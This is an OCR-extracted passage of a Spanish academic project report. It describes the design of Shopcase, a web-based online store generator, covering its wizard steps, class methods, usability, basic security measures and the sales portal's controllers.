= Visidon de empresa

=  Palabras clave
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o Paso4:
=  Nombre de usuario administrador de la tienda
= Teléfono de usuario administrador
= Correo electrénico de usuario administrador (su correo sera parte
de sus datos de autenticacion para acceder al sistema)
=  Contrasefia de usuario administrador
o Paso 5 (completamente opcional):
= Direccidn electrdnica de cuenta de Twitter
= Direccidn electrénica de cuenta de Facebook
o Paso6:
= Logotipo de la empresa
o Paso7:
= Confirmacidn de creacién de tienda
- Al final del proceso debe generar un portal de venta en linea listo para ser utilizado
por consumidores finales.
- Permitir acceso al cliente a un sistema de administracién para el sitio, en donde
podra manejar su catalogo de productos y otras configuraciones.

- Se debe evitar o minimizar la replicacion del cédigo para cada nueva tienda creada.

2. Descripcion de usuario. Este modulo sera utilizado exclusivamente por las empresas
clientes que deseen crear una tienda en linea, se espera que el usuario esté

familiarizado con el uso de una computadora, y el uso de un navegador de internet.

3. Descripcion de datos. El mdédulo de generador tiene interaccién con las tablas de
“ActivatePasswords”, “Clients”, y “Users”, creando una entrada para la empresa en la
segunda tabla y una entrada para el administrador en la ultima. El modelo de las tablas se

encuentra descrito en el Mddulo de Base de Datos.

4. Diagramas UML. La llustracién 26 ilustra los posibles estado de las contrasefias de acceso

al generador (ver Médulo de Base de Datos).
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llustracién 26. Diagrama de estados para las contrasenas de acceso al médulo de generador.

Generado con UMLet.

Confirmada

Activa

Desactivada

Una vez la contrasefia ha sido generada, ésta se encontrard en estado de “Activa”, y
significa que el cliente tendrd acceso al generador para crear una tienda. Al terminar el proceso
del generador y la tienda se ha creado exitosamente, la contrasefia pasa a un estado de
“Confirmada”, la contrasefla ya no serd considerada valida para dar acceso al cliente al
generador, sin embargo la tienda ya ha sido creada. En cualquier momento un administrador
con la debida autorizacidon podra cambiar el estado de una contraseiia “Activa” a “Desactivada”,
indicando que la clave ya no es valida para crear una tienda. Si una contrasefa ya ha alcanzado

el estado de “Confirmada” ya no serd posible desactivarla, pues la tienda ya ha sido creada.

[lustracion 27. Diagrama de secuencias del mddulo de generador.
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C. Diseino

1. Funcionamiento del generador. Después de haber capturado y validado la informacién
basica de la empresa cliente interesada el generador deberd comenzar el proceso de la

generacién de la tienda como tal.

La base del generador es la existencia de los archivos dummy descritos en la seccién VI de
este documento. Existe un repositorio de archivos dummy y dentro de este existird un archivo
por cada vista del médulo de portal de ventas y médulo de administracidon para consumidores,
el generador tomara cada uno de estos archivos dummy y creara una copia fisica de cada uno y
los colocard en una carpeta con el nombre de dominio que el cliente especifique. Se necesitaran
también carpetas para almacenar las imagenes de los productos que se creen en la tienda vy el

archivo de configuracion.

La llustracion 28 muestra como estd conectado el generador a los demds componentes del
Megaproyecto, el generador crea copias fisicas de los archivos en el repositorio de archivos
dummy en un nuevo dominio, estos nuevos archivos interactlan directamente con los archivos

en la libreria principal o core y estos a su vez estan formados por componentes.

El esquema no permite eliminar por completo la replicacion de cédigo, pero se necesitaran
Unicamente 17.5KB en espacio de disco duro para la creacién de cada nueva tienda, y gracias a
la estructura de archivos cualquier cambio o actualizacidon solamente se necesita realizar en la
libreria principal o en el repositorio de componentes y automaticamente se verd reflejado en

todas las tiendas que hayan sido creadas.
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llustracién 28. Logica del generador.
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2. Descripcion técnica. El generador cuenta con una Unica clase principal, la clase

“Generator”, en orden alfabético los métodos disponibles a esta clase son los siguientes:

__construct(Entrada: Nombre, directorio, InfoEmpresa; Salida: Ninguna): Almacena
el nombre de la empresa, la direccion de su tienda y un arreglo de toda la
informacién requerida por el generador para crear la tienda.

checkDomain (Entrada: Nombre de dominio ; Salida: Verdadero o falso): Dado un
nombre de dominio para una empresa cliente

(http://www.shopcase.com/empresa/), verifica si ya existe alguna empresa

registrada con el mismo nombre y devuelve verdadero o false segun el caso.
confirmPassword (Entrada: Contrasefia de validacion ; Salida: Verdadero o falso):
Dado una contrasefa de acceso al generador, se verifica si la contraseia es valida o
no, devuelve verdadero o false respectivamente.

checkAdminAccount (Entrada: Correo Electrénico, Contrasefia; Salida: Verdadero o
false): El método verifica si existe algin otro administrador en el sistema con la
misma informacion de autenticacion y devuelve verdadero o false segun sea el caso.
createAdminAccount (Entrada: Ninguna; Salida:Ninguna): Utilizando los datos de

administrador provistos en el constructor de la clase, el método crea una entrada en
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la tabla “Users” y esto permitira acceso al usuario acceso a administrar la tienda
electrénica (médulo de administrador de empresas, véase documento de
Administracién de Empresas).

createConfigFile(Entrada: Ninguna ; Salida: Ninguna): Crea el archivo de
configuracion para la tienda creada.

createDir(Entrada: Nombre ; Salida: Ninguna): Crea una carpeta de nombre
“Nombre”.

createDummies(Entrada: Arreglo de dummies; Salida: Ninguna): Dado un arreglo de
archivos que representan todos los archivos dummy del sistema, se crea una copia
en la carpeta de la tienda.

cutlLogo(Entrada: Ninguna; Salida: Ninguna): Durante el proceso de creacién de
tienda el cliente debe especificar una foto que representativa para su empresa, y se
almacena en una carpeta temporal durante el proceso. Este método remueve la
imagen de la carpeta temporal y la coloca en la carpeta de la tienda especificada por
createDir.

generate(Entrada: Ninguna; Salida: Ninguna): Genera la carpeta principal de la
tienda, la carpeta de imagenes y la carpeta de ofertas. Llama a cutlogo,
createAdminAccount, updatePassword, y createDummies, esencialmente
generando la tienda.

getDirs(Entrada: Ninguna ; Salida: Arreglo de archivos dummy): Inspecciona el
repositorio de archivos dummy y devuelve un arreglo con los nombres de los
archivos contenidos.

getNewDomainlID(Entrada: Ninguna ; Salida: Identificador de la empresa): Utilizando
la informacién de empresa especificada en el constructor, se crea una entrada para
la empresa en la tabla “Clients” y se obtiene el identificador de dicha entrada en la
tabla del sistema.

updatePassword(Entrada: Contrasefia, Estado ; Salida: Ninguna): Dada una
contrasefia de acceso al médulo del generador, cambia el estado de la contrasefia a

Activa, Desactivada, o Confirmada.



90

3. Vistas del proceso del generador . Se trabajé principalmente en que el generador
tuviera una apariencia estética agradable, pues es la primera aproximacion del cliente

al proceso del negocio electrénico: cada uno de los pasos del generador utiliza un color de fondo
distinto para indicar claramente que existe una secuencia en el proceso, y cuando sea necesario
se muestran al usuario mensajes de error no disruptivos y con suficiente informacién para que
sepa que acciones debera tomar para corregirlos. Las consideraciones de usabilidad se detallan

después del proceso del generador.

a. Validacién de contrasefia. Cuando se confirme el contrato de suscripcién con un

cliente se le enviard por correo una contraseiia que le permitira acceso al generador

y al proceso de creacidn de su portal de ventas en linea. El usuario ingresara la contrasefa en el
espacio provisto y presionara el botén de continuar para pasar al paso dos, si la clave no fuera

valida o si fuese incorrecta, un mensaje notificara al usuario.

[lustracidon 29. Paso 1 de Mddulo de generador, validacion de contrasefa.

Bienvenido al generador de portales en linea de Shopcase

Validacion de contrasefia

En una serie de simples pasos usted puede tener su tienda en linea lista para tomar pedidos Al firmar su
contrato de servicio con su representante de Shopcase se le proporciond una contrasefia que valida su
subscripcién a nuestros servicios, por favor ingresela en el espacio de abajo.

12345

Continuar

b. Informacion general de la empresa. Se deberd llenar la siguiente informacién de la
empresa para registros internos:
- Nombre

- Nombre de dominio (La direccidon http://www.shopcase.com/empresa que

desee)

- Persona de contacto


http://www.shopcase.com/empresa
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- Correo electronico

- Teléfono

llustracién 30. Paso 2 de Mddulo de generador, ingreso de informacion general de empresa.

Paso 2 - Informacién general de su empresa

Por favor ingrese la siguiente informacion acerca de su empresa:

Nombre de la empresa
Nombre de dominio
hitpfvww shopcase comy
Persona de contacto

Correo electrénico

Teléfono

‘ Continuar
-

El nombre del dominio sera verificado en caso de que exista alguna otra empresa con el
mismo nombre, si ese fuera el caso se le indicard al usuario y debera intentar con un nuevo
nombre de dominio. Se permitira el acceso al siguiente paso del generador cuando se ingrese un

nombre que no haya sido registrado anteriormente.

c. Informacién general adicional de la empresa. La informaciéon del paso tres es

completamente opcional, y sera utilizada para un micrositio de la tienda, que no es

mas que una vista mas en el médulo de portal de venta en linea. La informacidn que se pide en
el paso tres, de acuerdo a la llustracion 31, es la siguiente:

— Descripcién breve de la empresa: Se espera que el cliente escriba en pocas palabras en

gué consiste su empresa o hegocio.

— Palabras clave: Son palabras que describen la empresa o sus productos, para una
empresa que venda articulos de cuero, “botas”, “chaquetas” y “cinchos” serian palabras

clave. Se puede ingresar cualquier cantidad de palabras clave separadas por comas.

— Mision: Es el objetivo o la finalidad por la cual fue creada la empresa.
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— Visidn: Describe cdmo la empresa alcanzara sus objetivos.

Esta informacién es completamente optativa y el cliente puede elegir continuar al siguiente
paso sin llenar la informacion. Sin embargo podra ingresar esta informacidon después en el

Moddulo de Administracion de Empresas.

llustracién 31. Paso 3 de Mddulo de generador, ingreso de informacidn general adicional de

empresa.

Paso 3 - Informacién general de empresa (2)

Esta informacidn aparecera en el micro sitio de su empresa, la informacion es completamente opcional v la podra
llenar en cualguier otro momento al terminar la creacidn de su portal.

Breve descripcion de su empresa: Palabras clave ("zapatos”, "ropa"):
F
Misién de su empresa: Visién de su empresa:
Regresar Continuar Saltar este paso

T T -

d. Informacién de administracion. Se requiere la siguiente informacién referente al

usuario que administrard la tienda, el correo electrénico serd parte de la
informacién que necesitara para autenticarse:
- Nombre del administrador

- Teléfono
- Correo electroénico

- Contrasefa (2 veces)
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[lustracion 32. Paso 4 de Mddulo de generador, ingreso de informacidn de administracién.

Paso 4 - Informacion de administracion

Por favor ingrese |a siguiente informacidn acerca del administrador de su tienda:

Hombre del administrador:

Teléfono

Correo electrénico

Contrasefia

Repetir contrasefia

Regresar Continuar

El correo electrénico y la contrasefia deben ser verificados antes de continuar, si la
informacidn provista ya perteneciera alguin otro usuario se le indicara al cliente y debera

intentarlo nuevamente.

e. Informacidn de redes sociales. En el paso 4 el cliente podra ingresar su informacion
de la cuenta de Twitter y Facebook de su empresa, puede proveer un enlace directo

a sus paginas y estas apareceran en el portal de ventas. Este paso es completamente opcional.

[lustracidon 33. Paso 5 de Mddulo de generador, ingreso de informacién de redes sociales.

Paso 5 - Informacion de redes sociales

Shopcase le ayuda a comercializar sus productos y su marca a través de redes sociales, puede ingresar su
informacidn de cuentas de Twitter y Facebook abajo:

twitter

Enlace a su cuenta de Twitter: Enlace a su cuenta de Facebook:

Ej: http://www twitter.com/empresa Ej: http://www.facebook com/empre:

Regresar Continuar Saltar este paso

L Fy I o T W g
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f. Configuracién de apariencia. Se permite que el cliente seleccione el logotipo
de su empresa para que aparezca en la parte superior izquierda de su portal de
tienda electrodnica.

[lustracidon 34. Paso 6 de Mddulo de generador, configuracién de apariencia.

Paso 6 - Configuracion de apariencia

Por favor configure |a apariencia de su sitio:

Logotipo de su empresa: Cargar archivo

L3 Imagen se reducira 3 un tamao o2 100 x 100 pheles.

Regresar Continuar

v - —_—1— - —

g. Creacidn de tienda. El ultimo paso antes de la generacién de la tienda, el
usuario debe presionar el botdn de “Finalizar” y se generara su portal.

[lustracion 35. Paso 7 de Mddulo de generador, creacién de tienda.

Presione "Finalizar” para crear su portal de ventas en linea o "Regresar” si desea confirmar sus datos, toda la
informacion de su empresa la podra modificar cuando se haya creado su tienda.

Regresar Finalizar

h. Finalizacion y administracién de tienda. Al llegar a este paso del generador la
tienda ya ha sido creada, asi que se ofrece la opcidn al cliente de comenzar a
administrar su tienda, o puede visitar el portal recién creado.
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llustracion 36. Paso 7 de Médulo de generador, finalizacion y administracion de tienda.

Paso 8 - Administrar tienda

Felicidades y gracias por adquirir los servicios de Shopcase! Ahora puede comenzar a administrar su tienda y
manejar sus productos

| Administar mitienda || vermitienda |

D. Usabilidad

Es muy importante proveer al usuario con mensajes comprensivos en pantalla cuando se
trata de aplicaciones web, principalmente porque la velocidad de la conexion de Internet variard
de cliente a cliente y no todos experimentardn los mismos tiempos de respuesta. Por ejemplo, si
el generador necesita hacer algun tipo de procesamiento se mostrard un mensaje haciéndole
saber al usuario que se esta sucediendo. Vea la llustracidn 19 para un ejemplo en el paso 1 del

generador.

llustracion 37. Mensaje en pantalla indicando que la contrasefia de acceso al generador esta

siendo verificada.

Verificando contraseiia...

e

De igual forma es necesario hacerle saber al usuario cuando ha cometido un error y como
puede solucionarlo, de manera no intrusiva o disruptiva. La llustracion 20 muestra como en el

paso dos se muestran mensajes de error a la par de cada campo que el usuario no ha llenado
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después de que ha intentado continuar el proceso del generador sin haber llenado la

informacidn requerida.

[lustracidon 38. Ejemplo de mensajes de error en el paso 2 del Mddulo de generador.

Paso 2 - Informacion general de su empresa

Por favor ingrese la siguiente informacidn acerca de su empresa:

Nombre de la empresa

* Este campo es requerido.

Nombre de dominio

hitp:#www.shopcase.comy’ * Este campo es requerido.

Persona de contacto

* Este campo es requerido.

Correo electrénico

* Este campo es requerido.

Teléfono

\ * Este campo es requerido.

- Continuar
L

Existen campos de texto en la interfaz que se deben llenar con informacién que tiene un
formato muy especifico, como correos electrénicos o numeros de teléfono, también se muestra

al usuario un mensaje de error especifico para estas situaciones.

[lustracion 39. Mensaje de error para un nimero de teléfono incorrecto en el paso 2 del Mdédulo

del generador.

Paso 2 - Informacion general de su empresa

Por favor ingrese la siguiente informacidn acerca de su empresa:

Nombre de la empresa

Ejemplo

Nombre de dominio
hito:Awww.shopease.com/ ejemplo

Persona de contacto

Juan Lopez

Correo electrénico

correo@shopcase.com

Teléfono

\ Esto no es un numera| = Por favor ingrese un nimero telefonico.

' Continuar
-
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Es muy importante hacerle saber el usuario en cual etapa del proceso se encuentra, por lo
gue cada paso del generador cuenta con una apariencia distinta, un nimero en la esquina
superior izquierda de la ventana claramente indica el nimero de paso, mientras que el color de

fondo también cambia, desde azul en el paso uno hasta aqua en la ultima etapa.

[lustracion 40. Los distintos colores de la interfaz del Médulo del generador.

Pasc 2 - Informaciin geners 00 s segev

E. Seguridad

La confidencialidad, integridad y disponibilidad del sistema se manejan de la siguiente

forma:

- Confidencialidad: El acceso al Médulo de administrador esta restringido por una
clave de acceso Unico (la clave ya no es utilizable una vez ya se creé la tienda), la
cual se provee a la direccidn personal del cliente una vez ha completado el proceso
de contrato con la empresa. Ademas, ninguna de la informacidon mostrada al cliente
durante el proceso de creacidon del portal de ventas es generada a partir de

informacidén que exista en la base de datos, por lo que es imposible usar a la misma



98

pagina para mostrar informacion confidencial.

Integridad: Se utilizan técnicas de prevencion de inyeccidn de SQL y XSS (cross-site
scripting) para filtrar toda la informacién que se ingresa en los campos del proceso
del generador, ayudando a evitar que se pueda modificar o eliminar la informacién
de la base de datos.

Disponibilidad: La disponibilidad depende principalmente del servidor en donde se
aloja la aplicacidn, y su rendimiento y disponibilidad continua salen del alcance del

Megaproyecto.



VIIl. MODULO DE PORTAL DE VENTA EN LINEA

A. Descripcién

Fue necesario construir un portal de venta genérico como base para las tiendas creadas por

el generador que ademas estuviese disefiado en base a la arquitectura requerida por el

Megaproyecto.

El médulo creado le permitird a un usuario final (consumidor) navegar y buscar en un

catalogo de productos por categorias, seleccionar y agregar productos a un carrito de compras

electrénico, y poner dérdenes electrénicas para que sean procesadas.

B. Andlisis

1. Requerimientos. El médulo debia contar con las siguientes funcionalidades:

Navegacion de un catdlogo de productos, con nivel de profundidad ilimitado
Busqueda de productos dentro del catdlogo

Vista de productos individual

Seleccionar atributos adicionales para un producto (color, talla, etc.)

Agregar productos a un carrito de compras electrénico

Autenticacion de usuarios (iniciar sesion)

Registro de usuarios

Cerrar sesion

Realizar proceso de checkout (confirmar productos, llenar informaciéon de pago,
llenar informacidn de envio, y realizar la orden)

Durante el proceso de checkout, se podran seleccionar formas de pago utilizadas
con anterioridad, al igual que direcciones de envio especificadas en una compra
anterior

Durante el proceso de checkout el consumidor podra alterar las cantidades de los
productos que existan en su carrito electrdnico, asi como eliminar productos
Recuperar contrasefia perdida

En la vista de productos individual mostrar productos relacionados

Mostrar informacion de redes sociales del cliente si las especifico en el generador

99
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- Implementar la arquitectura de modelo-vista-controlador extendida
- Debido a la naturaleza centralizada que implica la arquitectura, si un cliente se ha

autenticado en una tienda A, no deberia poder autenticarse en una tienda B.

Durante el primer semestre se realizaron bosquejos y diagramas de cajas que definian la

configuracion de componentes del sitio los cuales fueron la base para las vistas.

2. Delimitacion. El médulo esta delimitado por los siguientes parametros:
- El proceso de pago con tarjeta de crédito y PayPal sera simulado.
- Unusuario debe estar registrado y autenticado si desea poner una orden.
- Manejo de drdenes e informacion personal del consumidor son parte del

maodulo de administrador para consumidores.

3. Descripcion de datos. Este mdédulo debe tener acceso a un inventario de productos, es
decir, todas las categorias que existan de productos y los productos que contengan, un
repositorio de drdenes, acceso a un listado de clientes, tipos de pago, tipos de envio, y listado de
formas de pago y direcciones de envio previamente utilizadas por los usuarios autenticados. El
maodulo alimentard la base de datos con los nuevos usuarios (consumidores) creados en el portal

y con la informacién de las érdenes que los usuarios registrados realicen.

4. Descripcion de usuario. Los usuarios de este mddulo serdn los clientes potenciales
(consumidores) de la empresa que ha contratado los servicios del Megaproyecto y que

deseen hacer una compra electrénica de los productos que comercialice la empresa. Se espera
gue el cliente tenga conocimiento bdsico acerca del uso de una computadora y un explorador de

Internet.

5. Diagramas UML. La lustracion 41 muestra el diagrama entidad relacién de las
entidades necesarias para el funcionamiento del médulo, y cédmo se relacionan entre

si. Como se observa en el diagrama, una categoria puede tener uno o mas productos y cada
orden contendra uno o mas productos, tendrd que tener un consumidor asociado, una forma de
pago, una forma de envio, una direccion de envid, y opcionalmente una tarjeta de crédito. El
detalle de la representacién de los datos como entidades y tablas en una base de datos se

puede encontrar en el Mddulo de Administracién de Base de Datos.
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llustracion 41. Diagrama entidad-relacién del Mdédulo de portal de ventas.

, Tipos de Pa
Categorias pe go
L Direcciones
L Tipos de Envio rece
1l.n 4
Productos TarjetasCrédito

o 2
I 1
Ordenes 1

\

7 Clientes

La llustracion 42 describe los casos de uso de este mddulo.

[lustracion 42. Casos de uso del Médulo de portal de ventas.

Portal de Ventas / Camto de Compras

(Regsio D

B>
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’
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Ver Categoria 5
» -
”
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Consumidor / Chiente K e
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«extynas» = ~iogiudes
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4

Las acciones a las que tendra acceso un consumidor son las siguientes:

- Registro: El usuario debera ingresar la siguiente informacion para crear una cuenta:

o Nombrey apellido
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o Correo electrénico

o Contrasefia (dos veces)

El usuario también tendra la opcidn de utilizar una forma de registro alternativa

mediante sitios de redes sociales.

Login /autenticacion: El usuario deberd proveer la siguiente informaciéon para
autenticarse y realizar pedidos o el proceso de checkout.

o Correo electrénico

o Contrasefa

Al igual que con el registro, los usuarios tendran la opcidn de autenticarse utilizando

una cuenta de sitios sociales.

Ver pagina principal: En el indice o la pagina principal el cliente tendra acceso a un
listado de productos inicial y a todas las categorias creadas en el sitio, asi como ver los
productos que existan en su carrito de compras.

Ver categoria: Navegando un menu el consumidor podrd explorar las categorias de
productos que existan, se espera que cada categoria contenga una o mds subcategorias,
las que a su vez contendran productos.

Ver producto: La vista individual de un producto, podra ver las fotos del producto, su
precio, descripcidn, y productos relacionados.

Checkout: El proceso que el consumidor debe seguir para efectuar una compra, debe
completar cuatro pasos para finalizar el proceso:

o Modificar productos del carrito: Se presentaran al usuario una lista de los
productos que ha agregado a su carrito, las cantidades, el precio individual y el
total de la orden, podrd modificar las cantidades o remover productos
completamente. Cuando el cliente esté de acuerdo con el contenido del carrito
podra continuar al siguiente paso.

o Confirmar informacién de envio: Se debera seleccionar el tipo de envio que se
desee para la orden, y deberd llenar la siguiente informacién de direccion de

envio:

Nombre completo

e Direccion

Ciudad

Estado/Provincia/Regién
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e Cddigo Postal
e Pais

e Teléfono

Adicionalmente, si el usuario ya ha comprado anteriormente en el sitio podra
ver direcciones a las cuales ya se han enviado productos y seleccionarlas para el
pedido.

o Confirmar informacién de pago: El cliente deberd escoger la forma de pago de la
orden (pago contra entre, tarjeta de crédito, etc.). Sin importar la forma de pago
gue haya seleccionado, debera llenar la siguiente informacidn de facturacién:

e Nombre completo

e Direccién

e Ciudad

e Estado/Provincia/Region
e (Coddigo Postal

e Pais

e Teléfono

Se le presentara al consumidor la opcidn de usar la informaciéon de envio como
informacién de facturacion si asi lo desea. Si se elige pagar con tarjeta de crédito,
debera llenar la siguiente informacidn acerca de la tarjeta:
e Nombre en la tarjeta
e Numero de tarjeta
e Fecha de vencimiento
o Confirmar pedido: Se presentard al usuario un resumen de toda la informacién que

ha ingresado en los pasos anteriores, y si esta de acuerdo podra completar la orden.

C. Diseio

1. Implementacion de arquitectura. En una aplicacion web que permita el acceso a
multiples usuarios el proceso funciona de la siguiente forma:
- El usuario crea una cuenta en el sitio.

- El usuario se autentica en el sitio.
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- El usuario envia su identificador Unico al sistema
- El sistema muestra al individuo la informacion a la cual tiene privilegios, de acuerdo
a su rol dentro del sistema y a la informacidon que esté asociada a su identificador

unico.

Sin embargo, la naturaleza del sistema obliga a encontrar una solucién alternativa al
procedimiento anterior, debido a que cualquier usuario autenticado o no, deben tener acceso a
una tienda al acceder a una direccidn de Internet, el proceso anterior se debe realizar dos veces,
al ingresar a la direccion de la tienda, se debe mostrar una version “instanciada” de la tienda
genérica, es decir, una tienda que muestre los productos especificos de la empresa que ha
alquilado la tienda, y debe instanciarse una segunda vez cuando el usuario ya ha sido
autenticado y la tienda deba mostrar otra informacién que sea especifica al usuario. Todo esto,

sin la necesidad de crear multiples copias de la tienda.

Ademads, el sistema debe estar disefiado con expansion en mente, que si se desea
implementar alguna nueva funcionalidad para el sistema, o si se detectara algun error, esto
pueda ser trabajado en un repositorio central del sistema y que todos los cambios se vean

reflejados en todas las tiendas que hayan sido creadas.

2. Descripcién técnica

a. Controladores. El mddulo hace uso de tres controladores para manejar todas
las acciones necesarias para permitirle a un consumidor realizar un pedido. Se

describen a continuacion.

b. Controlador de categorias. Es el controlador encargado de manejar el

catadlogo de productos; tiene métodos para mostrar las categorias existentes,

productos dentro de las categorias, hacer busquedas, etc. Es de notar que este controlador no
tiene acceso a modificar informacion, Unicamente tiene permisos de lectura. Cuando se
menciona un “criterio de busqueda” se hace referencia a una palabra o palabras clave que se

desean encontrar en el nombre o en la descripcién de un producto.

Las variables globales a este controlador son las siguientes:

- Sdomain: El identificador de la tienda.
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ScategorylD: El identificador de la categoria que se esté explorando.
SrowsPerPage: Define cuantos items se mostraran en cada pdagina de una busqueda.

Stitle: El titulo de la pégina.

Los métodos implementados en orden alfabético en este controlador son los siguientes:

getCategory(Entrada: Identificador de categoria; Salida: Nombre de categoria): Dado un
identificador de una categoria, este método devuelve el nombre asociado al
identificador.

getTotalPages(Entrada: Consulta, Busqueda; Salida: Total de Paginas): Dada una consulta
a la base de datos, y un criterio de busqueda, devuelve el nUmero de paginas requeridas
para mostrar todos los resultados de la busqueda.

search (Entrada: Criterios de busqueda, categoria, pagina; Salida: Productos): Dado un
criterio de busqueda y un identificador de categorias, el método encontrard todos los
productos que llenen los criterios de busqueda y se encuentren en la categoria
especificada, seguidamente se paginan los resultados y se devuelven los resultados de la
pagina que se haya pedido.

searchRelatedCategories (Entrada: Criterio de busqueda, Categoria; Salida: Listado de
productos): Dado un criterio de busqueda de productos, se buscardn y devolveran los
productos que llenen el criterio de busqueda y se encuentren en las subcategorias de la
categoria especificada.

searchResults (Entrada: Criterio de busqueda, categoria; Salida: Ninguna): Este es el
método que llamara el dummy de la vista de busqueda, recibe un criterio de busqueda,
una categoria especifica, y manda a llamar a la vista real de la busqueda que mostrara
los productos que cumplan con la peticion.

selfURL(Entrada: Ninguna; Salida: Ninguna): Devuelve la direccién actual de la barra de
navegacion.

show(Entrada: Ninguna; Salida: Ninguna): Este es el método que llamara el dummy de la
pagina principal, el cual ensefara todos los productos que existan en la tienda.
viewltemsInCategory(Entrada: Categoria, Pagina; Salida: Listado de productos): Dada un
identificador de categoria, se buscaran todos los productos asociados a la misma y a sus
subcategorias, se paginan, y se devuelven aquellos que existan en la pagina especificada.

viewParentCategories(Entrada: Categoria; Salida: Listado de categorias): Dado un
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identificador de categoria, se devolveran todas las categorias que estén por encima de la
categoria especificada.

- viewSubCategories(Entrada: Categoria; Salida: Listado de categorias): Dado un
identificador de categoria, se devolverd un listado de las subcategorias de la categoria
especificada.

- viewTopCategories(Entrada: Bandera de longitud; Salida: Listado de categorias):
Devuelve un listado de las categorias de nivel mas alto de todo el catalogo (las categorias
que no son subcategorias de ninguna otra categoria), si la bandera de longitud es

verdadera, devolvera la longitud de la categoria que posea el nombre mas largo.

c. Controlador de productos Es el controlador encargado de manejar todos los
atributos de un solo producto, como su nombre, descripcién, precio, cantidad

disponible, etc.

Las variables globales a este controlador son las siguientes:

- Sdomain: Identificador de la tienda a la que pertenece el producto.
- SdbObiject: Objeto que permite acceso a la base de datos.
- SdomainName: El nombre del dominio en el cual se encuentra alojada la tienda.

- Stitle: El titulo de la pagina.

Los métodos disponibles a esta clase en orden alfabético son los siguientes:

- __construct(Entrada: Dominio, identificador de dominio, titulo): Inicializa las
variables globales y el objeto de acceso a la base de datos.

- getAttributeValues(Entrada: Atributo ; Salida: Valores de atributos): Dado el
identificador de un atributo de un producto (color, talla, etc.), devolvera todos los
posibles valores del atributo para el producto (talla mediana, color azul, etc).

- getAttributes(Entrada: Producto; Salida: Listado de atributos): Dado un identificador
de producto, encuentra todos los atributos asociados al producto (tamafio, forma,
color, etc.).

- getBreadcrumb(Entrada: Producto; Salida: Navegacion en migajas): Dada un

identificador de producto, devuelve una barra de navegacién de las categorias
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asociadas al producto. Por ejemplo, si el producto es una camisa de seda, de manga
larga, su navegacién por migajas de pan podria ser: Inicio > Ropa > Camisas >
Camisas de manga larga.

- getlmages(Entrada: Producto; Salida: Imagenes del producto): Dado un identificador
de producto, devuelve un listado de todas las imagenes del producto.

- getRelatedProducts(Entrada: Producto; Salida: Listado de productos): Dado un
identificador de producto, devuelve un listado de mdximo 3 productos relacionados,
o sea productos que se encuentre en la misma categoria.

- show(Entrada: Ninguna; Salida: Ninguna): Este es el método llamado por el dummy
de la vista de productos, manda a llamar a la vista correspondiente con el
identificador del producto para ensefiar toda la informacion necesaria.

- showProduct(Entrada: Producto; Salida: Registro del producto): Dado un
identificador de producto, devuelve su registro completo, su nombre, descripcion,

precio, etc.

d. Controlador de drdenes. Este es el controlador encargado de manejar todo lo

referente a dérdenes: agregar 6rdenes, modificar, eliminar, etc. El controlador de

Ordenes es el Unico que tiene permisos de modificacion y creaciéon en la base de datos, a

diferencia de los controladores de categorias y productos.

Las variables globales a este controlador son las siguientes:

SclientID: El identificador del cliente al cual pertenece la orden (indica a cual tienda
pertenece la tienda.

Sconsumer: El identificador del consumidor que puso la orden.

SorderlID: El identificador Unico de la orden dentro del sistema.

SdbObject: El objeto que permite acceso a operaciones con la base de datos.

Los métodos que provee el controlador son los siguientes:

__construct(): Inicializa las variables globales de la clase y el objeto de acceso a la base
de datos.

addProduct(Entrada: Producto, Cantidad, Precio, Relacién, Atributos; Salida: Ninguna).
Agrega a la orden una cierta cantidad de un producto especifico, indica también su

precio (incluyendo descuentos, etc.), indica también la relacién de atributos asociada al
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producto, y los valores de la relacién, los ultimos dos atributos pueden estar vacios.
changeStatus(Entrada: Estado, Orden; Salida: Ninguna):Dado un identificador de una
orden, cambia el estado de la orden al especificado.

checkout(Entrada: Informacién de checkout; Salida: Ninguna): Dado un arreglo con la
informacién de checkout (ver seccidon 2.5 de este capitulo), se registra la orden en el
sistema, y se almacena la informacién de envio, facturacién y pago de la orden.
create(Entrada: Ninguna; Salida: Identificador de orden): Crea una nueva orden en la
base de datos y devuelve su identificador.

deleteProduct(Entrada: Identificador de producto; Salida: Ninguna): Dado identificador
de producto, lo elimina de la orden.

displayCart(Entrada: Ninguna; Salida: Informaciéon de la orden/carrito de compras):
Devuelve un listado de todos los articulos que se hayan agregado al carrito de compras,
sus cantidades, precio, y un subtotal de la orden. Esta versidn es para ser desplegada en
el componente del carrito en todas las vistas.

displayCartSimple(Entrada: Ninguna; Salida: Informacién simplificada de la orden):
Devuelve la misma informacion que displayCart, sin agregar mensaje de bienvenida o
botdn de checkout.

displayCartForCheckout(Entrada: Ninguna; Salida: Orden en formato de tabla HTML):
Devuelve la orden como una tabla en cédigo de HTML y cajas de texto y botones que
permitiran modificar la orden.

editProduct(Entrada: Producto, Cantidad ; Salida: Ninguna): Dado un identificador de
producto, modifica la cantidad actual del producto especificado en la orden a la
cantidad dada.

findInProgress(Entrada: Ninguna; Salida: Ninguna): Encontrara alguna orden para que no
haya sido completada del consumidor especificado en la variable global SconsumerlD; si
no existe una orden, creard una nueva. Después de encontrar la orden o haberla creado,
la variable global SorderID es asignada con el identificador de la orden.
getAllOrdersFromConsumers(Entrada: Consumidor; Salida: Listado de 6rdenes): Dado el
identificador de un consumidor, devuelve todas las érdenes que el consumidor tenga en
el sistema.

getAttributeValues(Entrada: Atributo ; Salida: Valores de atributos): Dado el

identificador de un atributo de un producto (color, talla, etc.), devolverd todos los
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posibles valores del atributo para el producto (talla mediana, color azul, etc).
getAttributes(Entrada: Producto; Salida: Listado de atributos): Dado un identificador de
producto, encuentra todos los atributos asociados al producto (tamafo, forma, color,
etc.).

getCCInfo(Entrada: Tarjeta de Crédito; Salida: Informacidn de tarjeta de crédito): Dado
un identificador de tarjeta de crédito (no es el nimero de la tarjeta de crédito),
devuelve la informacién asociada a la tarjeta de crédito.

getClientName(Entrada: Ninguna; Salida: Nombre del cliente): Tomando el valor de la
variable global SclientID, devuelve el nombre del cliente que esta rentando la tienda.
getConsumerinfo(Entrada: Ninguna; Salida: Informacién de consumidor): Tomando el
valor de la variable global SconsumerID, devuelve un registro con la informacién del
consumidor.

getFullOrder(Entrada: Ninguna; Salida: Descripcion total de la orden): Usando la variable
global SorderID, devuelve un registro completo de todos los elementos en la orden, las
cantidades, precios, etc.

getltemAttributes(Entrada: Item; Salida: Atributos): Para un identificador de item,
devuelve los valores de los atributos asociados (color negro, tallar mediana, etc.).
getPaymentType(Entrada: Identificador de tipo de pago; Salida: Detalle de tipo de
pago): Devuelve la informacién de tipo de pago asociada a un identificador dado.
